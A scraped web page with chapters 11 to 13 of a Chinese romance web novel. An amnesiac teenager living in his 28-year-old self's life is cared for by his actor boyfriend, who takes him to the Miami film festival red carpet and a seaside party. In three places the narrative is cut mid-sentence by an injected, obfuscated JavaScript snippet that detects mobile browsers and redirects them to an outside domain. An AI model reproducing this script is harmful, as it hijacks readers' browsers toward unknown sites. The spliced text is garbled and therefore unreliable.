傅斯霆有些茫然。 他那一条瘸腿,是因为先天性骨关节发育不良而造成的。这种残疾按说在他很小的时候是可以通过人工干预和穿戴支具进行矫正的。 而在他一些依稀的记忆里,他从小好像也确实用过吊带,穿过蛙式支架等。 但是这一系列矫正和复健,都需要花钱。 他家在他小时候没有什么钱,何况以当时的医疗水平,医生也说了不能保证花了钱以后就可以完全治好。在这样的重压下,他刚满一岁,他亲爸就非常不负责任地在“因为儿子的病心情不好而染上赌博恶习”后逼着他妈离婚,抛妻弃子跑路了。 他爸跑了以后,家里的经济来源就只能靠外婆的一点微薄的退休金。 可外婆也有病,也要吃药。而妈妈学历不高,出去找工作又难,何况还要照顾他们一老一小。日子实在捉襟见肘时,他的治疗也不得不时断时续。 后来也有医生说,他的腿就是因为幼儿时恢复的关键时间总是中断治疗,才会始终有些跛着。 再后来,外婆去世。他妈到处打工、辗转,又嫁了几个男人,好容易把他拉扯大。 但有时候她太崩溃了,也会口不择言地怪他:“要不是你,我的命本来也不至于这样苦!你爸本来好好的,要不是你生病,也不至于突然变成那样。” 而有时候,她又会哭着自责:“哎,是不是都怪我不好。都怪我怀孕时一直吐,什么都吃不下,是不是这样你才会发育得不好啊。呜,这好好的孩子却瘸着一条腿,将来谁肯嫁给你呢?” 现在,他的腿……不瘸了。 傅斯霆停下来,不解地盯着看。右腿膝盖上有一道直直的手术疤痕。可按照之前医生的说法,他的腿应该是开刀也没用,一辈子都好不了了。 厉非笑了笑:“你也不想想都多少年过去了,就算当时不能治,但医学也会发展、也会突飞猛进啊。” “……” “什么时候。” “嗯?” “什么时候治好的。” 厉非想了想:“大概,两年前?” “你帮我治的么?”傅斯霆看着他。 厉非歪歪头:“确实是我帮你约的专家,如果你是这个意思的话。” “……” “谢谢你。” 厉非笑了,又有些无奈地揉了揉他的头。他昨晚洗过澡,身上淡淡的墨水香没有了,变成沐浴乳的椰香,甜甜的。 “说什么呢。你都是我的人了,帮你约最好的专家不是应该的么?” 他可能没注意,他的睡衣比昨晚更松散了。 不仅露出一大片诱人的锁骨,甚至还往下……露出了些许紧实的腹肌线条。 传说中的深V。很深。 傅斯霆有一瞬间心又不跳了,世界这一刻很安详。 11. 第 11 章 早餐是煎培根和煎蛋,香气扑鼻。 但香归香,其实都有点煎焦了。 厉非不会做饭。 正确来说,他也不是“完全不会”,毕竟眼前这些简易的、没点技术含量的白人饭就是他亲手弄出来的。煎个培根,加个鸡蛋,再弄点牛奶和黄瓜、小番茄之类。 但就这样简单的玩意,肉和蛋还都焦了。好在傅斯霆并不介意,吃得很认真也很香。 ……高中生小霆,倒是和二十八岁时一样好养活。 厉非看着他,微微笑了,又忍不住再度提醒他:“好了,你吃慢一点,别撑着,当心回头又胃疼。” 少年的情绪变化很快。 前一刻才因为被关心了而暗暗开心,片刻后,神色又骤然暗淡下来。 “我,”他默默吃完最后一口,装作不经意小声问,“我后来,虽然病治好了,但还是容易胃疼……小毛病很多么?” 这么敏感啊…… 厉非黑瞳看着他:“嗯。” “小毛病是挺多。会头晕,耳鸣。贫血,入睡也难。有点难养。” “……” 傅斯霆垂眸,抿了抿苍白的唇。 除了瘸腿,他确实从小身体其他各方面也是不是太好。一直很瘦,容易感冒发烧,也容易累。还好小病小灾虽然多,但除了那次胃癌之外,其他总是吃吃药、挺一挺就能过去了。 但。 他都二十八岁了,明明身上都肉了,看着练得也挺健康的。难道就不能至少比那时候好一点…… “之前是不太好养,”厉非笑了笑,“但这几年在我的监督下,已经养好了太多太多。各种小毛病都在减退,好好再养几年,肯定就会特别好了。” 他说着,托着腮眯起眼睛看着他。 厉非私底下……和荧幕上的高贵淡漠形象,真的很不一样。 尤其是他其实真的很适合笑。黑瞳笑起来非常炫目,像是揉碎了夜晚的星。 傅斯霆默默低下头,继续拿起叉子吃,明明盘子早就空了,他就那样低着头空吃了好几下都没发现。 厉非于是托着腮,无声笑得更加肆无忌惮了。 笑完,他突然想起什么:“哦,有件正事忘了跟你说。” “按说你还在修养期,我该好好陪着你。本来之前的工作,也能推就都推掉了。” “但有两个早就定好的行程,实在是推不掉。” “……” “好在,也就只有今天晚上和明天早上而已。如果傅小霆你不介意,我可以不可以……把你暂时送到咱们的共同朋友家里,寄存一天?” “……” “又或者,你不愿意去朋友那里的话,我也可以找一直合作的家政公司,让最熟悉你的管家来照顾你。” “他们人都很好,也很可靠。” “我也会尽早结束工作回来,你就在家里乖乖等我一天,可以吗?” 傅斯霆:“可以。” 厉非:“……” “傅小霆,你要是不愿意,是可以说‘不行’的。” 傅斯霆:“没有不行……” 厉非那一刻说不出什么滋味,扶额叹了口气,把人从位子上牵起来,拉到白色的沙发边。 然后伸手一楼,傅斯霆就这么被他抱着腰,圈在了两腿中间。 “……” “放失忆的傅小霆一个人在家是很残忍,我知道你不喜欢。” “可是,如果要带你一起去的话,从这里开车过去单程就要将近四个小时,会很累。而且行程也赶,你才刚出院,手上石膏刚拆,跟我去的话身体可能吃不……” “不会。” “……” “不会吃不消。” “所以,你更愿意和我一起去?” 这次傅斯霆终于明确地点了头。 “好,那就带你一起去。” …… 之后整个上午,傅斯霆都在认真研究厉非今晚和明天的详细行程。 晚上厉非必须要参加的,是迈阿密电影节的红毯,因为之前推掉的重要颁奖典礼,他真的已经欠了主办方一个大人情,没办法再继续放鸽子了。 而后天早上要去的,则是迈阿密市地标建筑维兹卡亚花园,著名糖果公司好不容易排到的场地,厉非要在那拍摄人家公司最新的秋冬款巧克力糖广告。 “咱们现在所在的位置,是美国佛罗里达的奥兰多市。迈阿密同样在弗洛里达的更南边一点,开车过去不远不近。” 他看着傅斯霆对这些地名一脸空白的反应,不得不又补充了一句:“奥兰多……就是美国迪士尼所在的城市。从我们家这里开车不到十分钟,就是迪士尼游乐园。” 傅斯霆点点头。 他学过地理,听过这些城市。只是没具体概念而已,现在知道了。 美国,迪士尼。听着好遥远。 他现在在正站在这么遥远陌生的土地上吗? 十二年后的傅斯霆也是有手机的,只是手机跟他一起摔下楼梯时碎了屏。现在已经修好送回来了,厉非重新还给了他。 手机打开,一时很多应接不暇的应用和信息都跳了出来。这种十二年后的未来手机,傅斯霆捣鼓了好一会儿才弄明白。 然后他认真搜了一下到底什么是迈阿密电影节,什么是维兹卡亚花园。再然后,偷偷搜了一下“厉非”。 二十八岁的厉非已经是享誉国内外的影帝了,拥有无数词条,点开之后一堆作品,翻页都看不完。 好多特别好看的剧照和相片。 傅斯霆暗戳戳保存、保存。存了半天,又私心地,偷偷搜了一下“傅斯霆”。 没想到他居然也有微博主页,竟也还有小一百万粉丝。 看起来二十八岁的他还蛮喜欢记录生活的。而在他那些琐屑的生活片段下,充斥着粉丝们的留言: “傅总今天好帅!”“但傅总的新游戏究竟要咕咕到哪一天?”“都三年了啊!三年又三年,我有几个三年啊老板!”“傅总起来干活了~”“敲碗等吃饭…”“傅总再这么懒下去公司是要倒闭的!”“傅总公司真倒了就得靠厉非养了。”“估计也是觉得厉非养得起所以不想努力了?”“恋爱误人啊,傅总也失去拔剑的速度了!”“不不不傅总你还是振作一点软饭虽香但是……” “……” 傅斯霆看不懂。 他甚至都看不懂什么叫“咕咕到哪一天”。 他查了一下,才知道原来大家是说他公司的新游戏一直放鸽子的意思。 但为什么,那么多人都在他的评论区一直提厉非。 难道他和厉非在一起,都已经到光明正大天下人尽皆知的地步了吗?还有那么多人调侃他不上班被厉非包养,以及祝他被包养的生活快乐99…… 一时间都不止耳朵发烫了,手机屏幕也感觉非常烫手,很难拿住。 傅斯霆在这边一直戳手机,厉非则抱着个电脑在另一边敲敲敲。 开视频会议,认真处理工作。 厉非不止是影帝,他还是富豪祖父母那边全部财产和家族公司的继承人。百科说他底下至少有十几家公司,业务十分繁忙。 所以这一刻的厉非,是历总。 就这样过了快一上午,傅斯霆将二十八岁自己的聊天软件信息总结了一下,他最常联系的对象,除了“老婆”之外大概有六个。 一位叫季彩的姐姐,他在网上查了一下,是厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977744|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非的经纪人。好像还是厉非妈妈那边的家里的亲戚,算是厉非的表小姨。 还有一个程韫,一个尹以豪,网上也有他们的信息。 两个都是男明星,应该是先是厉非的朋友,后来才也变成了他的。 程韫是国内老牌实力男演员。傅斯霆十三岁时看过厉非的那部《重春》里,其实也有一小段程韫的戏份。 尹以豪则就是那个咋咋呼呼的虎牙少年。他今年才十九岁,是个当红男团成员。 还有一个叫曲织帆的女生,网上就搜不到这个人了。 “谁是……曲织帆?” “你的高中同学,后来也一直都是好朋友。” 傅斯霆沉默了。 “怎么了?” “我们班没有这个人。” 厉非闻言就笑了:“你不是才上高一。或许她是别的班的呢,或许你们是高二高三才认识的,不也挺正常?” 倒也是。 “那,白裴皓和常傲瑜呢?” “这两个都是你的大学室友。Emo白现在继承了家族公司,业务主要是对非洲和南美市场的进出口。常傲瑜毕业后不久就在你的游戏公司上班了,他就是那位……每次都能在总裁生病和失忆期间兢兢业业包揽一切业务的,能干且不计较的善良副总。” “……” 傅斯霆又没声了。 他像在沉思,又好像在发呆梦游。 他还真有大学室友啊?其中一个还当了他公司的副总? 比梦都不真实。 …… 下午一点多,保姆车就到了门口。 厉非给傅斯霆拿了一条厚重的大毛毯。 在车上被裹住的时候,傅斯霆整个人都不好了——他真的很难习惯这种全方位的关心和照顾。 四个小时其实没有想象中难熬。 因为保姆车很大,座位放下了可以随便躺。厉非更是不知道哪里学来的技术,还给他按了按太阳穴,他很快就睡着了。 醒来时,已经是另一片天空。 迈阿密风光和奥兰多类似,但街道两旁是更高大的棕榈树和椰子树。街道两旁色彩斑斓,随处可见大片涂鸦的建筑让整座城充满了活力与艺术气息。 车子飞驰经过一片海滩,湛蓝的海水在阳光下闪烁着晶莹的光芒,人们穿着鲜艳的泳衣躺在沙滩椅上晒太阳,海风夹杂着咸湿的气息吹进车窗,混合着街头艺人的吉他声,成了一缕独特的城市脉搏。 “睡得好不好?”厉非问他,“电影节后台会很嘈杂,你要不要先去宾馆等我?用不了几个小时就能回来。” 手腕被一把抓住。 傅斯霆这次眼神是明确的。他不要。 厉非想想也是。 把失忆的男朋友放在家里一天固然残忍,但把他孤零零放在宾馆三四个小时,难道就不残忍了么。 “那你跟我去后台,但我活动的时候你不准乱跑,更不可以随便跟别人走。能不能答应我?” 傅斯霆郑重点点头,厉非还是不太放心。 毕竟美国这鬼地方,乍一看倒还岁月静好。但这几年无论是经济还是文化都每况愈下,大规模枪击、当街抢劫……越来越不安全了。 所以就算电影节现场众星云集,安保完备,他也不太敢掉以轻心。 万一十六岁的傅小霆在后台走丢了呢?被坏人带走了呢? 厉非认真想了想。 他的红毯邀请函,其实写的是历非以及plus one。 “……” “傅小霆,那你想跟我一起上红毯么?” 傅斯霆僵住,厉非则越想越觉得这办法可行。 “来都来了,不如一起去!” 12. 第 12 章 厉非告诉傅斯霆,走红毯其实特别简单。 “到时跟着我的步调就好。我走你走,我停你停。” “如果有人喊你名字,你就对他微笑。记得暂停几秒,留足给对方拍照的时间,就没别的了。不用紧张。” 傅斯霆点头,但还是立刻展现出了百分之一百二十的学霸精神,开始临时抱佛脚在手机上研究起各种国内外电影节的红毯视频来。 厉非瞧他那样,不由得带了笑。 果然同一个人即使失忆了,有些属性始终不会变。 傅斯霆这个人做事一向都喜欢提前规划,做全一切准备,尽量杜绝任何可控范围内的差错。 关于他的精细程度,还得听天天跟他共事的善良副总常傲瑜说—— “就那个发布会啊,傅总提前一年就开始选场地了!那叫一个哐哐考察,场地容纳、交通便利、周边设施以及内部配备一一考量。流程表就更是,从开场致辞、产品展示、嘉宾互动到最后的结束环节,每一个步骤反复推、反复彩排,详细到分钟!” “现场设备全有备份,还有技术人员随时待命。宣传也是,广告还没上呢,针对可能出现的网络舆情的N种应对策略都全了。” 嘉宾的邀请上,也是每一位嘉宾在他们公司里都有专人负责跟进,责任到人。对于嘉宾可能提出的问题和需求也早早提前做好了充分准备。 “就连发布会当天大暴雨,会场门口都准备了足够的雨具。声音设备一坏,十几秒就换上新的。那天还有一位大佬航班延误,但因为有专人在机场盯人,最后也通过视频连线的方式让他能够远程参与并发表讲话,半点没影响发布会的进程和效果。” “……” 类似的细致,厉非这三年的生活中也体会颇多。 比如和傅斯霆一起自驾游,哪怕只是一时兴起随便去一个城市,傅斯霆也总能在短短一两个小时内就做到管家级精细规划。 无论是路况、目的地的天气情况、沿途的风景以及可能的休息点等等,他都了如指掌。 不止如此,他还能随时指出备用路线,随时掏出御寒衣物、急救包、防蚊喷雾、防晒N件套、汽车应急维修工具、便携式的热水壶、各种口味的应急食物、充电宝…… 而现在,厉非看着他临时努力刷视频,埋头苦学的样子。 原来傅小霆高中的时候,就已经是这样会尽力做好准备的性格了? 还真可爱。 “……” 傅斯霆认真努力埋头苦学。 万万没想到,他刷了几十个红毯视频以后,居然刷到了毯上的自己! 好歹他之前只看过照片,这一次直接猝不及防看到了动起来的自己。 那是一年前国内的某个大型电影活动,他是作为和电影合作了动画的游戏厂商代表出席的。 红毯上的他…… 身姿挺拔,步伐从容。无数闪光灯照耀得他帅气潇洒,利落自然又意气风发。 明明是他,又不那么像他。 短短几十秒的视频,底下的评论区好几万。大家都在螺旋升天式狂欢,评论区点赞第一名:“欢迎围观我站地标式名垂千古真情侣露馅视频。” 评论第二名:“总裁与影帝.avi”。 底下还有一大堆“我磕到真的了”“呜呜呜嗷嗷嗷”的发言。 大家会这么刷,大概是因为视频最后十几秒,傅斯霆去到了厉非身边的座位上。 坐下后,厉非凑在他耳边说了什么,然后习惯性地抬起手给他整了整领带。 那一幕直接让整个视频的弹幕爆炸。满屏都是“怎么这就直接上手了?”“太默契了救命啊!”“是真的是真的这不是真的我就是假的”以及“为什么你们这么熟练啊啊啊啊!” 傅斯霆:“……” 虽然这几天里,他已经接二连三地承受了很多。但好像暂时还是承受不了这么多。 赶紧切了下一个视频。 …… 迈阿密电影节的会场,位于靠海的现代化艺术中心,会场分区非常多,外面粉丝更是堵得大路水泄不通。 傅斯霆都不知道他们的车子到底是怎么左拐右拐,从那完全堵塞的道路上到达休息区的。 总之进了会场以后,喧嚣的世界终于宁静了片刻,闪光灯的光芒和嘈杂喊声也被隔绝在外。 在这里,傅斯霆看到了传说中的经纪人姐姐季彩。 明明厉非是临时决定带他上红毯的,季彩居然这么快就随机应变,连出席的衣服都帮忙准备好了。 季彩对此很是骄傲:“嗨,区区小事,包在我身上!” 她这本事其实还是跟傅斯霆耳濡目染精进的呢。不就是提前做好万全准备嘛——她这不就是随时做好了厉非可能会突然带爱人一起出席的准备? 派上用场了吧。 休息室里,傅斯霆拆开了西装塑封,面料在灯光下泛着无比细腻的光泽。 一看就很贵重的衣服。 他小心地仔细抚平小小的褶皱,系上每一颗纽扣。衣服剪裁无比利落,简直为他量身定制一般,完美地展现出了宽阔的肩膀和紧实的胸膛,并恰到好处地勾勒出他修长的腿和完美的腰线。 “……” 人靠衣装,傅斯霆以前只在课本上学过这个词。 如今终于亲身体验。镜子里的自己这一刻根本就不像自己,反而……特别像是那个二十八岁、无比帅气、潇洒从容的“傅总”。 “换好了么?” 厉非走过来,和刚才的视频里一样,顺手将他领口的领带系好,手法熟练又精准。 随即他眯起眼睛上下看了傅斯霆一番。 笑了笑,似乎也很满意。 但,是满意他,还是…… 有一瞬间,傅斯霆不禁恍惚地想,他应该还是在透过他,在满意那个二十八岁的、什么都好的傅斯霆吧。 二十八岁的傅斯霆,一定很好很好。 厉非才能这么些天里,一直都对他这么温柔。 傅斯霆默默想着,忽然微凉的手被厉非一把握住。 明明迈阿密的晚上那么热,有人的手怎么还这么凉?厉非黑瞳看着他:“傅小霆,季彩姐刚刚给我发信息,说剩下的事都安排好了,她现在没事很闲。” “所以,你要是其实不那么想出场,也可以不用去。我让她过来陪你。” “你们就一起在这儿等我,好不好?” “……” “不是。” 厉非安静等着。 “……” “我没有,不想出场。” 傅斯霆垂眸,他只是……怕自己待会儿做不好,给厉非丢脸。 “……” 诚然,走红毯听起来并不难,不过是用腿走路而已。 但厉非毕竟是大明星,走在他身边的人就算做不到替他增辉,至少也不该给他丢脸。 二十八岁的傅斯霆自然有资格走在厉非身边。 但十六岁的傅斯霆,任何大型活动都没有参与过,万一大庭广众出错,拖累了厉非…… 厉非听完他这么说,笑了。 “傅小霆,你听好,”他又一次捧起他的脸,黑瞳带笑,“如果你能很完美地跟我一起走完这几分钟的红毯,我当然也开心。” “但如果你同手同脚了,我只会更开心。” “如果能犯傻、或者摔了就更好,那样以后,我就可以一辈子嘲笑你。” “……” “怎么,才发现我很坏?” 傅斯霆再度没了声,脑子里嗡嗡有点乱。 坏吗。 他低下头,心里砰砰跳。他从来没把厉非往这个方向想过。 但他刚才的那个笑容…… 是不是也太没有遮掩地,宠溺又邪恶了。 他会不会,真的有点坏啊。 不一会儿,化妆师也到了休息室。 傅斯霆直到被摁着哐哐上了一层粉,才反应过来原来上红毯不仅仅是穿上衣服就行了的,还得弄妆发! 化妆师也没见过他这样的。这么年代了?怎么还有帅哥好像一辈子没化过妆。 她只是拿着各种工具朝他靠近,帅哥的脸上就写满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977745|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了僵硬和局促。眼影刷在脸皮的时候,帅哥更是整个人直接下意识往后躲! “停!别动别动,很快就好。” “哎呀再坚持一下。” “马上就好马上就好。” 她居然不仅要吼,还要摁住对方。化妆师有一瞬间都怀疑自己到底是化妆的还是洗狗的。 傅斯霆其实还真的不是故意想躲,只是觉得……各种刷子的触感都很奇怪,很痒。而且为什么还要涂口红啊?傅斯霆瞪大眼睛,僵硬紧闭双唇,任由化妆师在他嘴上涂了一层又一层,才终于化完了。 镜子里的自己,浓烈得好像一只鬼。 “……”真就是浓妆艳抹,一堆亮亮的金粉,怎么看怎么别扭,就这样化妆师还昧着良心称赞:“真帅呀,太帅了!” 哪里帅了。 傅斯霆沉默去看厉非。 明明也化了妆,可人家化完就是利落干净、黑白分明,根本没有他那么重的妆感! …… 上了去红毯的礼车,厉非安慰他。 “没关系,摄像机吃妆厉害。镜头拍出来就看不到了。” “下车以后,你就全程跟着我。” “如果有人喊你,就对他们礼貌微笑。当然,不笑也可以。” 傅斯霆抿了抿唇,重重点头。厉非看着他的模样。 “抱歉,”他忽然伸出双手,“让你做那么不容易的事。” “来,抱抱会不会好一点?” “……” 已经穿到未来三天了,可傅斯霆每次被厉非身上的浅浅墨水香包裹,还是会一如既往悸动不已。 厉非的怀抱真的很温暖。 傅斯霆埋头其中,始终挥不去有种白日梦的错觉。 他任由自己闭上眼睛埋进去,半晌,又一脸坚定地钻出来。 “也没有……那么不容易。” “什么?” “不过就只是去、去走个红毯而已。我也倒不至于那么的……脆弱!” 声音发哑。但他真的应该并不至于……连这点小事,都还要特意拥抱和鼓励。 “……” 果然,傅斯霆还是傅斯霆。 厉非默默看着眼前人。不管是十六岁,还是二十八岁,他都从来不是易碎品,一直一直也都不肯接受他的过度保护。 但是。 但是,不行。 手心一热。 厉非将他紧紧攥住:“就要过度保护。” “……” 傅斯霆表情看起来有点凌乱,耳朵又红了。 他终于像是被二十八岁的自己附身了一样,涩哑地学会了争辩:“但后来,我不是也有了自己的公司,自己的一切。应该不太需要那么全方位的……” 那一瞬,傅斯霆想了很多。 他真的一点也不想惹厉非生气,为什么要开口争辩。虽然保护这种词在他听来实在有一种奇异又遥远的感觉,但厉非想要保护他,难道不好么。 厉非肯抱抱他难道不好么。 他是多么身在福中不知福,才要做这种无意义的斗争。 车里安静了一瞬。 傅斯霆如坐针毡,身体也慢慢僵硬。他张了张口,想要道歉,至少说什么。 “我……” 厉非的手抚上他的头。 “是是,我当然知道你什么都能自己做到,也知道你最强最厉害,不需要任何人来保护。” “但现在你又不是你,你只是失忆的傅小霆。” “就要呵护,就要加倍呵护。” “……” 他说完这话,再度捧住傅斯霆的脸,猝不及防地蹭了蹭他的鼻子。 然后趁着傅斯霆还在发懵,一只默默手伸到他身后,啪的一声,车门打开,厉非就这么微笑着,突然把傅斯霆一把推出了车子。 啪啪啪,外面无数闪光灯瞬间围过来,闪得人一针眼花缭乱。 迈阿密夜风温热,拂在傅斯霆滚烫的脸上。 他就这么猝不及防地踏在了万众瞩目的红毯上。 厉非……真的很坏! 13. 第 13 章 红毯能有多难?有腿就能走。 可当普通人真正面对无数闪光灯在眼前疯狂,以及耳边各种“看这里”“笑一笑”的嘈杂交织,喧嚣和漫天星光下,也并没想象中那么容易。 直到被厉非轻轻拽了一下。 傅斯霆才像是暴风雨中失去方向的船只终于找到了灯塔,此后亦步亦趋跟着厉非,自己都不知道自己最后是怎么从红毯上下来的。 下来以后,季彩喜气洋洋:“很好很好,效果超级好!” 傅斯霆这才微微放了心。 然而。 效果怎么可能真的好! 不到十分钟,直拍的视频就已经满天飞了。看得傅斯霆眼前一黑—— 他全程像个活动木偶,吱呀吱呀跟着厉非。倒确实是厉非走他就走,厉非停他就停。但全程都是僵硬且表情空白的,别说完全没有一年前红毯视频上的从容潇洒了。 毫无感情的机器人估计都比他更像个真人! 季彩却不同意:“不是挺可爱的吗?要的就是这种效果好吧。你不懂,这样效果才更好!” 傅斯霆谢谢她的言不由衷。 他根本没脸继续看那视频,自然也没看到视频下面几何式增长的留言: “救命啊救命啊我不行了,小傅总他也太盯了吧,都一点不带掩饰了,就这么爱吗?” “我尖叫,我打鸣,我爬行,我咆哮!” “每次这位盯厉非的眼神都好厉害,那些不会演感情戏的能不能来学学什么叫教科书式的‘视若珍宝’?” “颜值也高,两人绝配。我同意这门亲事了!” “其实以前也盯,但好歹盯的时候略有表情管理。今天,嚯,好家伙,他还记得表情管理是什么?” “真的每一秒钟都在看厉非,完完全全没有看镜头。倒也是,镜头哪有厉非好看?” “好喜欢这种满心满眼只有你的目光啊!” “是啊,‘比吻先降临的是爱人的眼睛’……” “被这么深情又虔诚的眼神直勾勾盯着,厉非也能受得住还能一脸平静,也是王者级别。” “可拉倒吧你看厉非那微微上扬的唇角,就没下来过!” 当天晚上,更是连微表情逐帧细节分析视频都来了。经纪人季彩开开心心看着飙升的话题度。 怎么不叫“效果超级好”呢? …… 红毯之后,不同肤色的明星们稍有寒暄。 傅斯霆默默想起同学说过的一个八卦——厉非从初中就在美国念书,英文其实很流利。但他常会在这种国际场合装作自己不会英文,借此逃避繁琐的交际。 事实也确也如此。 会场中,很多外国明星都对厉非用眼神和微笑示意,还有一些亲热地冲他点头招手、甚至过来拥抱,但也就是叫叫名字,以一两句国际通用的英文来简洁地表达喜爱和恭维。 真正敢来攀谈的,都是会一些夹生中文的。他们冲着厉非来,但毕竟厉非身边带着傅斯霆,大家出于礼貌也不得不问上一句。 “这位是傅总,”厉非向他们介绍,“游戏公司CEO,《Cloudless Cloudland》的创造者。” Cloudless Cloudland就是那款获奖的《澄空幻境》,在国内外玩家中很知名。 几个男明星闻言立刻就很激动,夸张地惊叹: “Creator, wow!” “So young! So talented!” 会中文的那位更是操着蹩脚的中文一个劲拽着傅斯霆:“我玩过你的游戏,实在是太fantastic了,你就是游戏界的god!” 傅斯霆:“……” 红毯之后更有名流酒会,就在旁边连着海滩的巨大私人庄园里进行。 厉非本来打算露个面就走,然而这庄园今晚装点得确实漂亮。璀璨的灯光从古老的大树上垂下,喷泉在月光下跳跃着银色水花。灯光下的绿地上是精心布置着华美的桌椅和自助餐。 庄园的主建筑更是金碧辉煌,巨大的落地窗透出温暖的光芒。悠扬的音乐声中,盛装的宾客们交谈着,花园的角落调酒师为宾客调制特色鸡尾酒,侍者端着五彩斑斓的饮品走来走去。 “……”傅斯霆忍不住多看了两眼。 毕竟他只在一些电影频道播放的旧美国电影上,才看过这么典型而纸醉金迷的…… “傅小霆,你想在这玩一会儿吗?”厉非问他。 “要是好奇,我就带你到处看一眼好不好?” 傅斯霆抿了抿唇。 很想违心说不用了的,但他又是真的……对这庄园,十分好奇。 厉非当然知道他在想什么。 毕竟在一起都三年了,他很清楚傅斯霆每到一个没见过的新的地方,就会立即开启好奇宝宝模式,迫不及待地想要揭开新地标每一处角落的神秘面纱。 他喜欢古老的城镇,爱在蜿蜒的小巷中穿梭,会用手触摸刻满岁月痕迹的石墙,会被每一家传统的手工艺品店吸引。 如果有导游在,他还会不停地向提出各种稀奇古怪的问题,如果没有导游在,他也颇能走街串巷、自得其乐。 从未见过的野花,他也常会蹲下来仔细观察,遇到怪异的大树,他更一定要绕着它转上几圈。就连沙滩上的贝壳和小螃蟹的形态和习性也不放过。路过盐湖,他都非要去尝上一口,看看到底有多咸。 至于碰上的城堡,废墟,遗迹,地道…… 那就更不得了,绝对没有傅斯霆不跃跃欲试想去钻一下的。 厉非干脆直接牵起傅斯霆的手:“走,带你去探险!” …… 庄园真的很大。 厉非直接带傅斯霆穿梭到了庄园后面,来到泳池边上。 比起前厅、草坪和主建筑里名流影星聚集觥筹交错,泳池边的鸡尾酒派对明明也是吃的喝的一应俱全、海鲜自助区琳琅满目,但就明显没有那么熙攘。 只有寥寥几个年轻男女,在五彩的灯光在泳池水里嬉戏。 旁边那么多新鲜肥美令人垂涎欲滴的海鲜和美酒,没有人动! 傅斯霆还有点腼腆。 厉非倒是半点没客气,拿起一个大盘子就瞄准了最大的那只豪横龙虾,接着又毫不犹豫往盘子里夹肥美的螃蟹,炭烤生蚝和黄油焗扇贝。 傅斯霆在旁愣愣地,看他弄了一盘又一盘。 “……” 一桌子好吃的,但傅斯霆以前根本没吃过龙虾,完全不得要领,壳还没弄开,虾肉已经被弄得支离破碎了。 他无助地抬起眼,就见厉非一边微笑欣赏他笨拙的样子,一边戴着一次性手套熟练而优雅地巧妙一扭,龙虾就被他凶残爆头了,完整鲜嫩的虾肉瞬间脱壳。 傅斯霆:“………” 厉非把虾肉送到他嘴边:“傅小霆,张嘴。” 傅斯霆:“…………………” 被云端上的厉非给投喂了。龙虾饱满弹牙,滋味鲜甜。 很快,眼前又有了一小碗剥好的虾肉,厉非甚至还给他调好了蘸料。 这已经不是傅斯霆第一次感觉到自己好像正在被深深地宠溺着。 但这一次……感觉尤为清晰。 其他的海鲜也都美味。 一盘盘螃蟹红得透亮,汤面吸饱了海胆熬的汤汁。生蚝经过烤制后,蒜蓉的独特香味融入到鲜嫩的肉。墨鱼仔白灼之后保留了最原始的鲜甜,咬下去脆嫩弹牙。 就连手中的鸡尾酒也散发着迷人的果香,与海鲜完美搭配。 傅斯霆认真而沉浸地享受。 厉非则慢条斯理,默默拿眼前人大快朵颐的模样佐餐。 …… 吃饱喝足后,两人避开人群,继续沿着庄园幽静小径往海边走。 月光透过树叶的缝隙洒下,一路斑驳光影,他们路过了有着生锈铁门的玫瑰园,路过了有些看似荒废的温室,甚至还发现了一个隐藏在树林深处的小木屋。 木屋的门半掩着,两个人相视一眼,果断双双点亮手机照明。 硬是好奇心不死,把屋内摆放的稀奇古怪的收藏品看完才算罢休。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977746|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 浪潮声渐大,终于来到海边。 夜幕如同一块巨大的深紫色天鹅绒,轻轻地覆盖这片私人海滩。墨蓝色的海面在微弱的月光下泛着点点银光,远处的海平面与夜空融为一体,海浪发出低沉而温柔的声响。 带着特有的咸涩海风,撩动着的发丝。 这其实……还是傅斯霆第一次看海。 海边有吊床。 明明已经是远离人烟的地方,周遭又黑灯瞎火,也不知道厉非一转身的功夫,从哪儿居然给他摸了一颗椰子。 椰子开好了口,放好了吸管,上面还装饰了一朵黄色的鸡蛋花。 “……” 有厉非的世界,真的很光怪陆离。 好像每和他多待一天、一小时、一分一秒,傅斯霆都会发现这个世界不一样的地方。而在这个新奇的世界里,也住着完全令他新奇的厉非。 真实的厉非,和银幕上又像又不像。 真实的厉非很爱笑,真实的厉非也会偶尔使坏。真实的厉非性格温柔包容,会陪他探无聊的险,去自助餐夹最大的龙虾,帅气又鲜活。 椰子好甜。 原来电影里面用鸡蛋花装饰的椰子,真正喝起来的是这种清甜的味道。 海浪声阵阵,傅斯霆深深沉迷了一会儿,他现在好像非常真实的……感觉到了“幸福”。 